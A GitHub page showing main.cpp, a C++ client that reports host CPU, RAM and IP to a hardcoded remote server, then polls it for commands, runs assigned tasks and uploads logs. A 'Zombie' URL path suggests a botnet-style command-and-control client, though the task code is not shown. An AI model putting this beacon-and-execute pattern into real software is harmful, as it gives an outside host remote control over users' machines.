-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.cpp
160 lines (143 loc) · 4.8 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#include <iostream>
#include <vector>
#include <string>
std::vector<std::string> logs;
// Define constants for server IP address and port number
const char* SERVER_IP = "45.55.105.65";
const int SERVER_PORT = 8080;
//45.55.70.104:8080/Zombie/ZombieTest
#ifdef _WIN32
// Windows-specific code
#include "win_functions.h"
#include "worker.h"
#include <WinSock2.h>
#include <thread>
#include <chrono>
void scheduledTask(Worker worker) {
Task task;
while (true) {
Command command = beacon(SERVER_IP, SERVER_PORT, worker);
switch (command) {
case Command::REQUEST:
processLog("\nCommand is REQUEST", &logs);
task = request(SERVER_IP, SERVER_PORT, worker);
break;
case Command::CONTINUE:
processLog("\nCommand is CONTINUE", &logs);
break;
case Command::STOP:
task = Task(); // empty out the task object
processLog("\nCommand is STOP", &logs);
break;
default:
processLog("\nUnknown command", &logs);
break;
}
bool finished = doTask(SERVER_IP, SERVER_PORT, task);
std::this_thread::sleep_for(std::chrono::seconds(1));
}
}
int main() {
std::string cpu = getCPUInfo();
if (!cpu.empty()) {
std::cout << "CPU Model Name: " << cpu << std::endl;
}
else {
std::cerr << "Failed to retrieve CPU model name." << std::endl;
}
std::string ramInfo = getRAMInfo();
if (!ramInfo.empty()) {
std::cout << "Total RAM: " << ramInfo << std::endl;
}
else {
std::cerr << "Failed to retrieve RAM information." << std::endl;
}
in_addr ipAddress = getIpAddress();
Worker worker = registerWorkerWin(SERVER_IP, SERVER_PORT, ipAddress, cpu, ramInfo);
// Check if the worker registration was successful
if (worker.id != 0) {
std::cout << "\n\n-----------------------------------" << std::endl;
std::cout << "Worker registered successfully!" << std::endl;
std::cout << "Worker ID: " << worker.id << std::endl;
std::cout << "Worker Name: " << worker.name << std::endl;
std::cout << "-----------------------------------\n\n" << std::endl;
}
else {
std::cerr << "Failed to register worker." << std::endl;
}
scheduledTask(worker);
return 0;
}
#elif defined(__linux__)
// Linux-specific code
#include "linux_functions.h"
#include "worker.h"
#include <fstream>
#include <thread>
#include <chrono>
void scheduledTask() {
std::string cpu = getCPUModelName(&logs);
if (!cpu.empty()) {
processLog("CPU Model Name: " + cpu, &logs);
}
else {
std::cerr << "Failed to retrieve CPU model name." << std::endl;
}
std::string ramInfo = getRAMInfo(&logs);
if (!ramInfo.empty()) {
processLog("Total RAM: " + ramInfo, &logs);
}
else {
std::cerr << "Failed to retrieve RAM information." << std::endl;
}
in_addr ipAddress = getIpAddress(&logs);
Worker worker = registerWorker(SERVER_IP, SERVER_PORT, ipAddress, cpu, ramInfo, &logs);
//Worker worker = Worker();
//worker.id = 69;
//worker.name = "peepee";
// Check if the worker registration was successful
if (worker.id != 0) {
processLog("Worker registered successfully!", &logs);
processLog("Worker ID: " + std::to_string(worker.id), &logs);
processLog("Worker Name: " + worker.name, &logs);
}
else {
std::cerr << "Failed to register worker." << std::endl;
}
Task task;
int count = 0;
while (true) {
Command command = beacon(SERVER_IP, SERVER_PORT, worker, task, &logs);
switch (command) {
case Command::REQUEST:
processLog("\nCommand is REQUEST", &logs);
task = request(SERVER_IP, SERVER_PORT, worker, &logs);
break;
case Command::CONTINUE:
processLog("\nCommand is CONTINUE", &logs);
break;
case Command::STOP:
task = Task(); // empty out the task object
processLog("\nCommand is STOP", &logs);
break;
case Command::REGISTER:
processLog("\nCommand is REGISTER", &logs);
worker = registerWorker(SERVER_IP, SERVER_PORT, ipAddress, cpu, ramInfo, &logs);
default:
processLog("\nUnknown command", &logs);
break;
}
bool finished = doTask(SERVER_IP, SERVER_PORT, task, &logs, worker);
count++;
if (count % 10 == 0) {
sendLogs(SERVER_IP, SERVER_PORT, logs, worker.id);
logs.clear();
}
std::this_thread::sleep_for(std::chrono::seconds(1));
}
}
int main() {
scheduledTask();
return 0;
}
#endif